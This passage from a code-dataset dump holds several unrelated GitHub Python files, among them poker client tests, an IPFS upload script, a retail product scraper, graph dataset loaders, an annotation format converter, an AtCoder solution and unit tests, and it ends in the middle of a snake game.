--------------------------------------------------------------\n def test02_proxy_failed(self):\n factory = pokerrestclient.PokerProxyClientFactory(\"command\", \"rest\", \"version\", \"headers\", \"data\", \"father\",\n \"verbose\", \"destination\")\n def errback(reason):\n self.assertNotEquals(None, reason)\n factory.deferred.addErrback(errback)\n factory.clientConnectionFailed(None, MockReason())\n return factory.deferred\n # --------------------------------------------------------------\n def test03_proxy_lost(self):\n factory = pokerrestclient.PokerProxyClientFactory(\"command\", \"rest\", \"version\", \"headers\", \"data\", \"father\",\n \"verbose\", \"destination\")\n def errback(reason):\n self.assertNotEquals(None, reason)\n factory.deferred.addErrback(errback)\n factory.clientConnectionLost(None, MockReason())\n return factory.deferred\n\ndef Run():\n loader = runner.TestLoader()\n# loader.methodPrefix = \"test05\"\n suite = loader.suiteFactory()\n suite.addTest(loader.loadClass(PokerRestClientTestCase))\n suite.addTest(loader.loadClass(PokerProxyClientFactoryTestCase))\n return runner.TrialRunner(\n reporter.VerboseTextReporter,\n tracebackFormat='default',\n ).run(suite)\n\nif __name__ == '__main__':\n if Run().wasSuccessful():\n sys.exit(0)\n else:\n sys.exit(1)\n\n# Interpreted by emacs\n# Local Variables:\n# compile-command: \"( cd .. ; ./config.status tests/test-pokerrestclient.py ) ; ( cd ../tests ; make COVERAGE_FILES='../pokernetwork/pokerrestclient.py' VERBOSE_T=-1 TESTS='coverage-reset test-pokerrestclient.py coverage-report' check )\"\n# End:\n","repo_name":"hippich/Bitcoin-Poker-Room","sub_path":"lib/ppn/tests/test-pokerrestclient.py","file_name":"test-pokerrestclient.py","file_ext":"py","file_size_in_byte":12219,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"61"} +{"seq_id":"26232851999","text":"#!/usr/bin/env python3\n#coding=utf-8\n#########################################################################\n# Author: @maris\n# Created Time: May 18 2017 18:55:41 PM CST\n# File Name:spider.py\n# Description:把图片同步到ipfs\n#########################################################################\nimport sys\nimport re\nimport json\nimport time\nimport io\nimport requests\nimport ipfshttpclient\nimport base64\n\n\n#ipfs版本<=0.6\nIPFS_GATE = \"/ip4/47.242.44.241/tcp/5001/http\"\nLOCAL_PATH = \"data/img/\"\n\n\"\"\"\n功能:上传本地文件到ipfs\n输入:local_file, 本地文件名,需\n返回:ipfs的cid\n\"\"\"\ndef upload_file(local_file):\n client = ipfshttpclient.connect(IPFS_GATE) # Connects to: /dns/localhost/tcp/5001/http\n res = client.add(local_file)\n cid = res[\"Hash\"]\n return cid\n\n\"\"\"\n功能:上传url文件到ipfs\n输入:url, 文件url\n返回:ipfs的cid\n\"\"\"\ndef upload_url(url):\n #step 1,下载文件\n #网络流将以text 的方式传输到 COS\n header = {}\n header[\"User-Agent\"] = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\"\n res = requests.get(url, headers=header)\n\n local_file = LOCAL_PATH + url.split(\"/\")[-1] #文件名,最后一个字符串\n #data_file = open(local_file, \"wb\")\n #data_file.write(res.content) #写入文件\n #data_file.close()\n #res.close()\n\n #step 2,写入ipfs\n cid = upload_file((io.BytesIO(res.content)))\n\n return cid\n\n\n\"\"\"\n功能:上传base64字符串,str\n输入:base64_text, base64后的字符串\n返回:ipfs的cid\n\"\"\"\ndef upload_base64(base64_str):\n #step 1, base64字符串转bytes,注意可能的包含 data:image/gif;base64,\n # item_list = base64_text.split(',')\n # if len(item_list) > 1: #如果包含需要去掉\n # base64_text = item_list[1]\n\n #step 2,上传到ipfs\n #解码\n image_data = base64.b64decode(base64_str.encode())\n cid = upload_file((io.BytesIO(image_data)))\n return cid\n\n\nif __name__ == \"__main__\":\n local_file = \"color1.jpg\"\n # cid = upload_file(local_file)\n\n # url = \"http://chia1-1300721637.cos.ap-shanghai.myqcloud.com/img/user/170cd338a921c6d66d2882cd6f2b715e.jpg\"\n # cid = upload_url(url)\n # print(cid)\n\n #编码\n f = open(local_file, \"rb\")\n base64_data = base64.b64encode(f.read()) #bytes\n #print(base64_data)\n #print(base64_data.decode())\n\n cid = upload_base64(base64_data.decode()) #输入str\n print(cid)\n #http://47.242.44.241:8080/ipfs/QmSvf8vZ8cUCTGGqi3yQ51pmFMP4Kyv19g2zK3wvzE6ynm\n\n","repo_name":"cata-network/api-server","sub_path":"sync_ipfs.py","file_name":"sync_ipfs.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"41791440845","text":"#!/usr/bin/python\n\nimport re\nimport urlparse\nfrom lxml import html\n\nfrom extract_data import Scraper\n\n\nclass LandofNodScraper(Scraper):\n\n ##########################################\n ############### PREP\n ##########################################\n\n FLOATING_POINT_RGEX = re.compile('\\d{1,3}[,.\\d{3}]*\\.?\\d*')\n\n INVALID_URL_MESSAGE = \"Expected URL format is http(s)://www.landofnod.com/.*\"\n\n REVIEW_URL = 'http://api.bazaarvoice.com/data/batch.json' \\\n '?passkey=q12j4skivgb89bci049b3pwua' \\\n '&apiversion=5.5' \\\n '&resource.q0=products' \\\n '&filter.q0=id%3Aeq%3A{}' \\\n '&stats.q0=reviews' \\\n '&filteredstats.q0=reviews' \\\n '&filter_reviews.q0=contentlocale%3Aeq%3Aen_US' \\\n '&filter_reviewcomments.q0=contentlocale%3Aeq%3Aen_US'\n\n def check_url_format(self):\n m = re.match(r\"^https?://www.landofnod.com/.*?/[\\w\\d]+\", self.product_page_url)\n return bool(m)\n\n def not_a_product(self):\n pid = self.tree_html.xpath(\n '//p[contains(text(), \"Unfortunately, we are unable to locate the product you are looking for.\")]')\n return bool(pid)\n\n ##########################################\n ############### CONTAINER : NONE\n ##########################################\n\n def _product_id(self):\n prod_id = self.tree_html.xpath(\n '//script[contains(text(), \"Crate.Reviews.init\")]/text()'\n )[0]\n prod_id = re.search(r'Crate\\.Reviews\\.init\\(\\'([\\w\\d]+)\\'', prod_id)\n return prod_id.group(1) if prod_id else None\n\n ##########################################\n ############### CONTAINER : PRODUCT_INFO\n ##########################################\n\n def _product_name(self):\n product_name = self.tree_html.xpath('//meta[@property=\"og:title\" and @id=\"_fbTitle\"]/@content')\n return product_name[0] if product_name else None\n\n def _product_title(self):\n return self.tree_html.xpath(\"//title//text()\")[0].strip()\n\n def _title_seo(self):\n return self.tree_html.xpath(\"//title//text()\")[0].strip()\n\n def _description(self):\n return self.tree_html.xpath('//div[@class=\"productDescriptionCopy\"] |'\n '//p[@id=\"_productDescription\" or @class=\"productDescription\"]'\n )[0].text_content().strip()\n\n ##########################################\n ############### CONTAINER : PAGE_ATTRIBUTES\n ##########################################\n\n def _image_urls(self):\n images = self.tree_html.xpath('//img[contains(@class,\"imgZoomImage\") or @class=\"jsZoomLarge\"]/@src')\n\n if images:\n return map(lambda i: re.sub('(wid|hei)=\\d+', r'\\1=550', i), images)\n\n def _pdf_urls(self):\n pdf_links = list(\n urlparse.urljoin(self.product_page_url, url)for url in set(self.tree_html.xpath(\"//a[contains(@href,'.pdf')]/@href\"))\n )\n\n if pdf_links:\n return pdf_links\n\n ##########################################\n ############### CONTAINER : SELLERS\n ##########################################\n\n def _price(self):\n price = self.tree_html.xpath(\n '//meta[@property=\"og:price:amount\"]/@content'\n )[0]\n price = re.search(self.FLOATING_POINT_RGEX, price)\n return price.group() if price else None\n\n def _price_amount(self):\n return float(self._price())\n\n def _price_currency(self):\n currency = self.tree_html.xpath(\n '//meta[@property=\"og:price:currency\"]/@content'\n )\n return currency[0] if currency else None\n\n def _site_online(self):\n return 1\n\n def _site_online_out_of_stock(self):\n return 0\n\n ##########################################\n ############### CONTAINER : CLASSIFICATION\n ##########################################\n\n def _categories(self):\n return self.tree_html.xpath('//div[@class=\"breadcrumbsInnerWrap\"]//a/text()')\n\n ##########################################\n ################ RETURN TYPES\n ##########################################\n\n DATA_TYPES = {\n # CONTAINER : NONE\n \"product_id\": _product_id,\n\n # CONTAINER : PRODUCT_INFO\n \"product_name\": _product_name,\n \"product_title\": _product_title,\n \"title_seo\": _title_seo,\n \"description\": _description,\n\n # CONTAINER : PAGE_ATTRIBUTES\n \"image_urls\": _image_urls,\n \"pdf_urls\": _pdf_urls,\n\n # CONTAINER : SELLERS\n \"price\": _price,\n \"price_amount\": _price_amount,\n \"price_currency\": _price_currency,\n \"site_online\": _site_online,\n \"site_online_out_of_stock\": _site_online_out_of_stock,\n\n # CONTAINER : CLASSIFICATION\n \"categories\": _categories,\n }\n","repo_name":"aprosdev/ecom-predictor","sub_path":"special_crawler/extract_landofnod_data.py","file_name":"extract_landofnod_data.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"10385526690","text":"import scipy\nimport scipy.io\nfrom sklearn.preprocessing import label_binarize\n\nfrom google_drive_downloader import GoogleDriveDownloader as gdd\nimport scipy.io\nimport numpy as np\nimport scipy.sparse\nimport torch\nfrom os import path\n\nDATAPATH = '../data/NHB/'\n\n\nclass NCDataset(object):\n def __init__(self, name, root=f'{DATAPATH}'):\n \"\"\"\n based off of ogb NodePropPredDataset\n https://github.com/snap-stanford/ogb/blob/master/ogb/nodeproppred/dataset.py\n Gives torch tensors instead of numpy arrays\n - name (str): name of the dataset\n - root (str): root directory to store the dataset folder\n - meta_dict: dictionary that stores all the meta-information about data. Default is None,\n but when something is passed, it uses its information. Useful for debugging for external contributers.\n\n Usage after construction:\n\n split_idx = dataset.get_idx_split()\n train_idx, valid_idx, test_idx = split_idx[\"train\"], split_idx[\"valid\"], split_idx[\"test\"]\n graph, label = dataset[0]\n\n Where the graph is a dictionary of the following form:\n dataset.graph = {'edge_index': edge_index,\n 'edge_feat': None,\n 'node_feat': node_feat,\n 'num_nodes': num_nodes}\n For additional documentation, see OGB Library-Agnostic Loader https://ogb.stanford.edu/docs/nodeprop/\n\n \"\"\"\n\n self.name = name # original name, e.g., ogbn-proteins\n self.graph = {}\n self.label = None\n\n def __getitem__(self, idx):\n assert idx == 0, 'This dataset has only one graph'\n return self.graph, self.label\n\n def __len__(self):\n return 1\n\n def __repr__(self):\n return '{}({})'.format(self.__class__.__name__, len(self))\n\n\ndef load_fb100_dataset(filename):\n A, metadata = load_fb100(filename)\n dataset = NCDataset(filename)\n edge_index = torch.tensor(A.nonzero(), dtype=torch.long)\n metadata = metadata.astype(np.int)\n label = metadata[:, 1] - 1 # gender label, -1 means unlabeled\n\n # make features into one-hot encodings\n feature_vals = np.hstack(\n (np.expand_dims(metadata[:, 0], 1), metadata[:, 2:]))\n features = np.empty((A.shape[0], 0))\n for col in range(feature_vals.shape[1]):\n feat_col = feature_vals[:, col]\n feat_onehot = label_binarize(feat_col, classes=np.unique(feat_col))\n features = np.hstack((features, feat_onehot))\n\n node_feat = torch.tensor(features, dtype=torch.float)\n num_nodes = metadata.shape[0]\n dataset.graph = {'edge_index': edge_index,\n 'edge_feat': None,\n 'node_feat': node_feat,\n 'num_nodes': num_nodes}\n dataset.label = torch.tensor(label).long()+1\n return dataset\n\n\ndef load_pokec_mat():\n \"\"\" requires pokec.mat \"\"\"\n if not path.exists(f'{DATAPATH}pokec.mat'):\n gdd.download_file_from_google_drive(\n file_id=dataset_drive_url['pokec'], \\\n dest_path=f'{DATAPATH}pokec.mat', showsize=True)\n\n fulldata = scipy.io.loadmat(f'{DATAPATH}pokec.mat')\n\n dataset = NCDataset('pokec')\n edge_index = torch.tensor(fulldata['edge_index'], dtype=torch.long)\n node_feat = torch.tensor(fulldata['node_feat']).float()\n num_nodes = int(fulldata['num_nodes'])\n dataset.graph = {'edge_index': edge_index,\n 'edge_feat': None,\n 'node_feat': node_feat,\n 'num_nodes': num_nodes}\n\n label = fulldata['label'].flatten()\n dataset.label = torch.tensor(label, dtype=torch.long)\n\n return dataset\n\n\ndef load_yelpchi_dataset():\n if not path.exists(f'{DATAPATH}YelpChi.mat'):\n gdd.download_file_from_google_drive(\n file_id=dataset_drive_url['yelp-chi'], \\\n dest_path=f'{DATAPATH}YelpChi.mat', showsize=True)\n fulldata = scipy.io.loadmat(f'{DATAPATH}YelpChi.mat')\n A = fulldata['homo']\n edge_index = np.array(A.nonzero())\n node_feat = fulldata['features']\n label = np.array(fulldata['label'], dtype=np.int).flatten()\n num_nodes = node_feat.shape[0]\n\n dataset = NCDataset('YelpChi')\n edge_index = torch.tensor(edge_index, dtype=torch.long)\n node_feat = torch.tensor(node_feat.todense(), dtype=torch.float)\n dataset.graph = {'edge_index': edge_index,\n 'node_feat': node_feat,\n 'edge_feat': None,\n 'num_nodes': num_nodes}\n label = torch.tensor(label, dtype=torch.long)\n dataset.label = label\n return dataset\n\n\ndef load_fb100(filename):\n # e.g. filename = Rutgers89 or Cornell5 or Wisconsin87 or Amherst41\n # columns are: student/faculty, gender, major,\n # second major/minor, dorm/house, year/ high school\n # 0 denotes missing entry\n mat = scipy.io.loadmat(DATAPATH + 'facebook100/' + filename + '.mat')\n A = mat['A']\n metadata = mat['local_info']\n return A, metadata\n\n\ndataset_drive_url = {\n 'snap-patents' : '1ldh23TSY1PwXia6dU0MYcpyEgX-w3Hia',\n 'pokec' : '1dNs5E7BrWJbgcHeQ_zuy5Ozp2tRCWG0y',\n 'yelp-chi': '1fAXtTVQS4CfEk4asqrFw9EPmlUPGbGtJ',\n}","repo_name":"zhiqiangzhongddu/SELENE","sub_path":"code/load_nhb_data_utils.py","file_name":"load_nhb_data_utils.py","file_ext":"py","file_size_in_byte":5187,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"25588774476","text":"import os\r\nimport csv\r\nimport xml.etree.ElementTree as ET\r\nimport xml.etree.cElementTree as ETc\r\nfrom PIL import Image\r\nimport sys\r\nimport string\r\nimport cv2\r\nimport shutil\r\n\r\n# def classes here ( IN SSD )\r\n# in ssd, background is 0\r\n# dont define it.\r\nCLASS_MAPPING = {\r\n '1': 'head',\r\n '2': 'body',\r\n '3': 'whiteboard',\r\n}\r\n\r\ndef printUsage():\r\n print(\"Usage: python %s optional:\" % sys.argv[0])\r\n print(\"Supported src annotation types:\")\r\n print(\"- PASCALVoc\\n- YOLO\\n- SSD\\n\")\r\n print(\"Supported dest annotation types:\")\r\n print(\"- YOLO\\n- SSD\\n- PASCALVoc\")\r\n print(\"Must def. image dir !!!\")\r\n exit(-1)\r\n\r\nif len(sys.argv) != 5:\r\n printUsage()\r\n\r\nif sys.argv[1].upper() != \"PASCALVOC\" and sys.argv[1].upper() != \"YOLO\" and sys.argv[1].upper() != \"SSD\":\r\n print(\"Invalid src anno type\")\r\n printUsage()\r\nelse: sourceAnno = sys.argv[1].upper()\r\n\r\nif not sys.argv[2].upper() == \"YOLO\" and not sys.argv[2].upper() == \"SSD\" and not sys.argv[2].upper() == \"PASCALVOC\":\r\n print(\"Invalid dest anno type\")\r\n printUsage()\r\nelse: destAnno = sys.argv[2].upper()\r\n\r\nif not os.path.exists(sys.argv[3]):\r\n print(\"src dir does not exist\")\r\n printUsage()\r\nelse: sourceDir = sys.argv[3] + \"/\"\r\n\r\nif sourceAnno == \"YOLO\" or destAnno == \"YOLO\" or sourceAnno == \"PASCALVOC\" or destAnno == \"PASCALVOC\":\r\n if len(sys.argv) != 5: printUsage()\r\n if not os.path.exists(sys.argv[4]):\r\n print(\"image dir does not exist - you need it\")\r\n printUsage()\r\n else: imageDir = sys.argv[4] + \"/\"\r\n\r\nif os.path.exists(destAnno):\r\n print(\"Detected files in destination directory: %s\" % destAnno)\r\n raw = input(\"Would you like to clear this directory to prevent overwriting [y/n]: \")\r\n if raw.upper() == \"Y\": shutil.rmtree(destAnno+\"/\")\r\n\r\nif not os.path.exists(destAnno):\r\n os.makedirs(destAnno)\r\ndestDir = destAnno + \"/\"\r\n\r\nif not os.path.exists(\"TEMP/\"):\r\n os.makedirs(\"TEMP/\")\r\n\r\n# TODO: fix hardcoding classes lmao\r\ndef convertPASCAL(sourceDir):\r\n if not os.path.exists(\"TEMP/\"): os.makedirs(\"TEMP/\")\r\n for filename in os.listdir(sourceDir):\r\n tree = ET.parse(sourceDir + filename)\r\n root = tree.getroot()\r\n for item in root.findall('object'):\r\n for child in item:\r\n if child.tag == 'name':\r\n classTitle = child.text.encode('utf8')\r\n if str(classTitle) == \"b'head'\":\r\n _class = 1\r\n elif str(classTitle) == \"b'body'\":\r\n _class = 2\r\n elif str(classTitle) == \"b'whiteboard'\" or str(classTitle) == \"b'wtd'\":\r\n _class = 3\r\n else: _class = 4\r\n if child.tag == 'bndbox':\r\n minX = int(child[0].text.encode('utf8'))\r\n minY = int(child[1].text.encode('utf8'))\r\n maxX = int(child[2].text.encode('utf8'))\r\n maxY = int(child[3].text.encode('utf8'))\r\n print(\"%s %s %s %s %s\" % (_class, minX, minY, maxX, maxY))\r\n with open(\"TEMP/\" + filename[:-4]+\".txt\", \"a+\") as f:\r\n f.write(\"%d %d %d %d %d\\n\" % (_class, minX, minY, maxX, maxY))\r\n\r\n################################################################################3\r\n# pascal section\r\ndef create_root(file_prefix, width, height):\r\n root = ETc.Element(\"annotations\")\r\n ETc.SubElement(root, \"filename\").text = \"{}.png\".format(file_prefix)\r\n ETc.SubElement(root, \"folder\").text = \"images\"\r\n size = ETc.SubElement(root, \"size\")\r\n ETc.SubElement(size, \"width\").text = str(width)\r\n ETc.SubElement(size, \"height\").text = str(height)\r\n ETc.SubElement(size, \"depth\").text = \"3\"\r\n return root\r\n\r\ndef create_object_annotation(root, voc_labels):\r\n for voc_label in voc_labels:\r\n obj = ETc.SubElement(root, \"object\")\r\n ETc.SubElement(obj, \"name\").text = voc_label[0]\r\n ETc.SubElement(obj, \"pose\").text = \"Unspecified\"\r\n ETc.SubElement(obj, \"truncated\").text = str(0)\r\n ETc.SubElement(obj, \"difficult\").text = str(0)\r\n bbox = ETc.SubElement(obj, \"bndbox\")\r\n ETc.SubElement(bbox, \"xmin\").text = str(voc_label[1])\r\n ETc.SubElement(bbox, \"ymin\").text = str(voc_label[2])\r\n ETc.SubElement(bbox, \"xmax\").text = str(voc_label[3])\r\n ETc.SubElement(bbox, \"ymax\").text = str(voc_label[4])\r\n return root\r\n\r\ndef create_file(file_prefix, width, height, voc_labels, destDir):\r\n root = create_root(file_prefix, width, height)\r\n root = create_object_annotation(root, voc_labels)\r\n tree = ETc.ElementTree(root)\r\n tree.write(\"{}/{}.xml\".format(destDir, file_prefix))\r\n\r\ndef read_file(file_path, imageDir, sourceDir, destDir):\r\n file_prefix = file_path.split(\".txt\")[0]\r\n image_file_name = \"{}.png\".format(file_prefix)\r\n img = Image.open(\"{}/{}\".format(imageDir, image_file_name))\r\n w, h = img.size\r\n with open(sourceDir + file_path, 'r') as file:\r\n lines = file.readlines()\r\n voc_labels = []\r\n for line in lines:\r\n voc = []\r\n line = line.strip()\r\n data = line.split()\r\n voc.append(CLASS_MAPPING.get(data[0]))\r\n xmin = int(data[1])\r\n ymin = int(data[2])\r\n xmax = int(data[3])\r\n ymax = int(data[4])\r\n voc.append(xmin)\r\n voc.append(ymin)\r\n voc.append(xmax)\r\n voc.append(ymax)\r\n voc_labels.append(voc)\r\n create_file(file_prefix, w, h, voc_labels, destDir)\r\n\r\n\r\ndef convertSSDtoPascal(sourceDir, destDir, imageDir):\r\n if not os.path.exists(destDir):\r\n os.makedirs(destDir)\r\n for filename in os.listdir(sourceDir):\r\n if filename.endswith('.txt'):\r\n read_file(filename, imageDir, sourceDir, destDir)\r\n else: print(\"Invalid Format: %s\" % filename)\r\n# end convert to pascal\r\n###############################################################################\r\n\r\n###############################################################################\r\n# start yolo conversion\r\ndef getIdandMinMax(tokens, width, height):\r\n cid = int(tokens[0])\r\n centerX = float(tokens[1])\r\n centerY = float(tokens[2])\r\n boxWidth = float(tokens[3])\r\n boxHeight = float(tokens[4])\r\n\r\n minX = centerX - (boxWidth / 2)\r\n minY = centerY - (boxHeight / 2)\r\n maxX = centerX + (boxWidth / 2)\r\n maxY = centerY + (boxHeight / 2)\r\n \r\n return (cid + 1, int(minX * width), int(minY * height), int(maxX * width), int(maxY * height))\r\n\r\ndef convertYOLO(sourceDir, imageDir):\r\n print(\"Converting YOLO\")\r\n if not os.path.exists(\"TEMP/\"): os.makedirs(\"TEMP/\")\r\n for filename in os.listdir(imageDir):\r\n imageObject = cv2.imread(imageDir + filename)\r\n textFile = filename[:-4] + \".txt\"\r\n if not os.path.exists(sourceDir + textFile): \r\n print(\"Annotation not found for: %s\" % filename)\r\n continue\r\n if imageObject is None:\r\n print(\"Image %s can not bed read\" % filename)\r\n continue\r\n h,w,_ = imageObject.shape\r\n newFile = \"TEMP/\" + textFile\r\n with open(sourceDir + textFile, \"r\") as rfd:\r\n with open(newFile, \"a+\") as wfd:\r\n for line in rfd:\r\n tokens = line.split(\" \")\r\n if len(tokens) != 5: raise Exception(\"Invalid anno: %s\" % line)\r\n idMinMax = getIdandMinMax(tokens, w, h)\r\n if idMinMax != None:\r\n wfd.write(\"%d %d %d %d %d\\n\" % idMinMax)\r\n\r\ndef convertIdandMinMax(tokens, w, h):\r\n print(\"Trying: \", w, h)\r\n cid = int(tokens[0])\r\n boxWidth = float((int(tokens[3]) - int(tokens[1])) / int(w))\r\n boxHeight = float((int(tokens[4]) - int(tokens[2])) / int(h))\r\n centerX = float(((int(tokens[1]) + int(tokens[3])) / 2) / int(w))\r\n centerY = float(((int(tokens[4]) + int(tokens[2])) / 2) / int(h))\r\n return (cid - 1, centerX, centerY, boxWidth, boxHeight)\r\n\r\n\r\ndef convertSSDtoYOLO(sourceDir, destDir, imageDir):\r\n for filename in os.listdir(sourceDir):\r\n imageName = imageDir + filename[:-4] + \".png\"\r\n imageObject = cv2.imread(imageDir + filename[:-4] + \".png\")\r\n textFile = destDir + filename\r\n h,w,_ = imageObject.shape\r\n with open(sourceDir + filename, \"r\") as rfd:\r\n with open(textFile, \"a+\") as wfd:\r\n for line in rfd:\r\n tokens = line.split(\" \")\r\n if len(tokens) != 5: raise Exception(\"Invalid anno: %s\" % filename)\r\n idMinMax = convertIdandMinMax(tokens, w, h)\r\n if idMinMax is not None:\r\n wfd.write(\"%s %s %s %s %s\\n\" % idMinMax)\r\n\r\n# end yolo conversion\r\n#########################################################################33\r\nif os.path.exists(\"TEMP/\"):\r\n shutil.rmtree(\"TEMP/\")\r\n\r\n\r\n# Reads in what type of annotation the user has and turns it into SSD\r\n# Then depending on the destination, converts SSD into that.\r\ndef AnnoManager(sourceAnno, destAnno, sourceDir, destDir, imageDir):\r\n if sourceAnno == \"PASCALVOC\": convertPASCAL(sourceDir)\r\n if sourceAnno == \"YOLO\": convertYOLO(sourceDir, imageDir)\r\n if sourceAnno == \"SSD\": os.rename(sourceDir, \"TEMP/\")\r\n if destAnno == \"SSD\": \r\n for f in os.listdir(\"TEMP/\"):\r\n shutil.move(\"TEMP/\" + f, destDir)\r\n if destAnno == \"YOLO\": convertSSDtoYOLO(\"TEMP/\", destDir, imageDir)\r\n if destAnno == \"PASCALVOC\": convertSSDtoPascal(\"TEMP/\", destDir, imageDir)\r\n\r\nprint(\"Converting %s to %s.\" % (sourceAnno, destAnno))\r\nAnnoManager(sourceAnno, destAnno, sourceDir, destDir, imageDir)\r\nprint(\"Done converting. Annotations found in: %s directory.\" % destDir)\r\nif os.path.exists(\"TEMP/\") and sourceAnno == \"SSD\":\r\n os.rename(\"TEMP/\", sourceDir)\r\nelse: shutil.rmtree(\"TEMP/\")","repo_name":"shar-rahman/annotationConverter","sub_path":"convertAnno.py","file_name":"convertAnno.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42971446939","text":"N, X, Y = map(int, input().split())\nA = list(map(int, input().split()))\nL = []\ntmp = []\nfor i in range(N):\n if Y <= A[i] <= X:\n tmp.append(A[i])\n else:\n L.append(tmp)\n tmp = []\nL.append(tmp)\n\nans = 0\nfor tmp_list in L:\n # 尺取法\n l = r = 0\n while l < len(tmp_list):\n Xflag = False\n Yflag = False\n while (not (Xflag and Yflag)) and r != len(tmp_list):\n if tmp_list[r] == X:\n Xflag = True\n if tmp_list[r] == Y:\n Yflag = True\n r += 1\n ans += len(tmp_list) - r\n l += 1\nprint(ans)\n","repo_name":"Okabe-Junya/AtCoderArchive","sub_path":"ABC/201-250/247/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9886160475","text":"\"\"\"Unittests for the get network data endpoint.\"\"\"\n\nfrom unittest.mock import patch\n\nfrom gridt_server.tests.base_test import BaseTest\n\n\nclass NetworkResourceTest(BaseTest):\n \"\"\"Unittests for the validation of GETs to: /movements//data.\"\"\"\n\n resource_path = 'gridt_server.resources.network'\n schema_path = 'gridt_server.schemas'\n user_id = 42\n movement_id = 1\n\n def __send_data_request(self):\n \"\"\"Send the get request to the /movements//data endpoint.\"\"\"\n response = self.client.get(\n f'/movements/{self.movement_id}/data',\n headers={\"Authorization\": self.obtain_token_header(self.user_id)}\n )\n return response\n\n @patch(f\"{resource_path}.get_network_data\", return_value=\"data\")\n @patch(f'{schema_path}.movement_exists', return_value=True)\n def test_get_data_valid(self, mock_movement_exists, mock_get_data):\n \"\"\"Test get movement data when movement exists.\"\"\"\n with self.app_context():\n response = self.__send_data_request()\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.get_json(), \"data\")\n mock_movement_exists.assert_called_once_with(self.movement_id)\n mock_get_data.assert_called_once_with(self.movement_id)\n\n @patch(f\"{resource_path}.get_network_data\")\n @patch(f'{schema_path}.movement_exists', return_value=False)\n def test_get_data_invalid(self, mock_movement_exists, mock_get_data):\n \"\"\"Test get movement data when movement does not exists.\"\"\"\n expected = {\"message\": \"movement_id: No movement found for that id.\"}\n with self.app_context():\n response = self.__send_data_request()\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.get_json(), expected)\n mock_movement_exists.assert_called_once_with(self.movement_id)\n mock_get_data.assert_not_called()\n","repo_name":"GridtNetwork/gridt-server","sub_path":"web/gridt_server/tests/unit/resources/test_network.py","file_name":"test_network.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"12476678955","text":"from NLPDatasetIO.dataset import Dataset\n\n\ndef test_load_dataset():\n dataset = Dataset('data/data_conll.txt', 'conll', sep='\\t')\n gold_tokens = [\n ['22', '-', 'oxacalcitriol', 'suppresses', 'secondary', 'hyperparathyroidism', 'without', 'inducing', 'low',\n 'bone', 'turnover', 'in', 'dogs', 'with', 'renal', 'failure', '.'],\n ['BACKGROUND', ':', 'Calcitriol', 'therapy', 'suppresses', 'serum', 'levels', 'of', 'parathyroid', 'hormone',\n '(', 'PTH', ')', 'in', 'patients', 'with', 'renal', 'failure', 'but', 'has', 'several', 'drawbacks', ',',\n 'including', 'hypercalcemia', 'and', '/', 'or', 'marked', 'suppression', 'of', 'bone', 'turnover', ',',\n 'which', 'may', 'lead', 'to', 'adynamic', 'bone', 'disease', '.']\n ]\n gold_labels = [\n ['O', 'O', 'O', 'O', 'B-DISO', 'I-DISO',\n 'O', 'O', 'B-DISO', 'I-DISO', 'I-DISO', 'O', 'O', 'O', 'B-DISO', 'I-DISO', 'O'],\n ['O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'B-DISO', 'I-DISO', 'O', 'O',\n 'O', 'O', 'O', 'O', 'B-DISO', 'O', 'O', 'O', 'O', 'B-DISO', 'I-DISO', 'I-DISO', 'I-DISO', 'O', 'O', 'O', 'O',\n 'O', 'B-DISO', 'I-DISO', 'I-DISO', 'O']\n ]\n example_id = 0\n for tokens, labels in dataset.iterate_token_level():\n tokens_length = len(tokens)\n labels_length = len(labels)\n assert tokens_length == labels_length, 'Length of tokens and labels mismatch at example ' + str(example_id)\n assert tokens_length == len(gold_tokens[example_id]), 'Readed and Gold tokens length mismatch ' + str(example_id)\n assert labels_length == len(gold_labels[example_id]), 'Readed and Gold labels length mismatch ' + str(example_id)\n for token_idx in range(tokens_length):\n assert tokens[token_idx] == gold_tokens[example_id][token_idx], 'Token mismatch ' + str(example_id)\n assert labels[token_idx] == gold_labels[example_id][token_idx], 'Label mismatch ' + str(example_id)\n example_id += 1\n if example_id == 2: break\n\n\nif __name__ == '__main__':\n test_load_dataset()\n","repo_name":"ilyaphlk/NLPDatasetIO","sub_path":"tests/test_conll_load.py","file_name":"test_conll_load.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74327464515","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pygame, sys, random, time, pickle\r\nfrom pygame.locals import *\r\nfrom numpy import *\r\nimport threading\r\nimport pickle\r\nimport pyaudio\r\nfrom array import array\r\nfrom queue import Queue, Full\r\nimport numpy as np\r\n\r\n\r\n\r\n#@@@@@INICIALIZACION DE FUNCION@@@@@#\r\n\r\n#INICIALIZACION DE VARIABLES\r\ndef inicializacion():\r\n global puntaje, snake_x, snake_y, min, max_x, max_y, direccion, dificultad\r\n puntaje = 0\r\n snake_x = [170, 155, 140, 125, 110, 95]\r\n snake_y = [170]*6\r\n min = 35\r\n max_x = 420\r\n max_y = 291\r\n direccion = 'derecha'\r\n dificultad = 0.05\r\n generar_objeto(snake_x[0],snake_y[0])\r\n\r\n \r\n#GENERAR OBJETO\r\ndef generar_objeto(snake_x, snake_y):\r\n global manzana_x, manzana_y, craneo_x, craneo_y\r\n manzana_x = random.randint(min, 